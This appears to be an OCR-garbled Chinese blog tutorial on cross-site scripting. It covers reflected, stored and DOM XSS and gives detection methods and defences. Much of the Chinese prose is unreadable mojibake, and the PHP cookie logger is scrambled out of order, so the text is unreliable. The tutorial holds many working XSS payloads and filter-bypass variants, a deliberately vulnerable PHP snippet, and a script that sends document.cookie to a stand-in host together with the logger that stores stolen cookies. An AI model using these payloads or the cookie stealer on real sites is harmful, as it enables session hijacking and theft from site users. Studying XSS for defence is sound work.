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<?php

$name = $_GET['name'];
echo "Welcome".$name;
?>
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WA ETRIB FHRTN, BE— A8 http://xxx.com/index.html?<script>alert('xss')</script> RIZEAWHBEIHR, HH
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DOMER %%+ 4% (Document Object Model) , DOMT] Aiiid JavaScript, EHEA HTML 3C#S.
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var index=document.URL.indexOf("xss=")+4;
document.write(decodeURI(document.URL.substring(index)))

document.URL.indexOf() 77 Al IR B AR B M Z R R EEFRFF R ERHRMAE . +4288 3 xss='
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FiBIEN: <script>alert('xss')</script>

PEFREIEN: /><script>alert('xss')</script>

PEREIEN: </textarea><script>alert('xss')</script>
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xsser£#% http://blog.csdn.net/ronghua_liu/article/details/6148951

xssf&% http://my.oschina.net/u/1188877/blog/282206?fromerr=w7ynQiSF
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<?php

$cookie = $_GET['msg'];

$ip = getenv ('REMOTE_ADDR');
$time=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');

a');

'.$cookie. '<br> IP:

$fp = fopen('cook.txt',
fwrite($fp,
br><br>");
fclose($fp);
?>

'Cookie: .$ip. '<br> Date and Time: .$time. '<br> Referer: '.$referer.'<br><
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<script>document.location="http://xxx.com/xss.php?msg="+document.cookie;</script>
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&

</textarea>""><img src=# id=xssyou style=display:none
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<img scr=1 onerror=alert('xss"')>
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<a href=javascrip:alert('xss')>s</a>

F HiframeZF iE

<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>

F| Hiframe ) scrok 58 &

<img src="1" onerror=eval("\x61\Xx6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
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REM A <screscript>ipt>alert(1)</screscript>ipt>
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<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;8&#41;">
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Set—Cookie: NAME=VALUE; Domain=DOMAIN_NAME; Path=PATH; Expires=DATE; HttpOnly; SECURE
M E T http-onlyBt, 7 7 i Bl AR 5 T2 52 5 cookie

2. WALIE

1A VRERBLRR TR, M« > v ' & FIFRFERF. I8 <script>, javascrip HFFRfo

2. 7] LA F phpHhtmispecialchars() » htmlentities()s& £ e LI Z R 408 HTML 24 . javascriptf4atis 77 = a] LUE A
javascripEncode

3. AT LU FHIOWASP ESAPI, JSOUPH#HTEIf, AREHCH XL,

o g

o (WebZ&VRELIHT)
o (HMEFIHWebZ4)
e wooyunZliffE hitp://drops.wooyun.org/

¢ freebuf http://www.freebuf.com/articles/44481.html

BEFRSQLIEAN—#, FAKERES, KAXSSHANFTERMRE, HFREDME, REgids:—SEMPR. RTRLEMET
H—th, ERABREWNE. FELWBIIFNjsEES . RBIMEREMIFZTRRA, WEHHER. HnRENLSESH RN, &
chrome M 3328 13T Frxss B M T ), (HR FEfirefoxtt st Al LA, SLiZRchromef T B . EHdom xssHIAR, AR T #
T RKHE.

FBE T — TXSSHkikFEwriteup http:/drops.wooyun.org/tips/3059 , B AF T «


http://drops.wooyun.org/tips/689
http://drops.wooyun.org/tips/845
http://drops.wooyun.org/
http://www.freebuf.com/articles/44481.html
http://drops.wooyun.org/tips/3059

	XSS学习
	title: XSS学习 date: 2016-04-03 20:35:43 categories: 安全 tags: [Web安全,XSS]
	一、XSS原理
	二、XSS分类
	反射型XSS
	持久型XSS
	DOM XSS

	三、XSS攻击
	1.XSS检测
	(1)、手工检测
	(2)、工具检测

	2.XSS利用
	3.XSS构造

	四、XSS防御
	1、http-only
	2、输入过滤



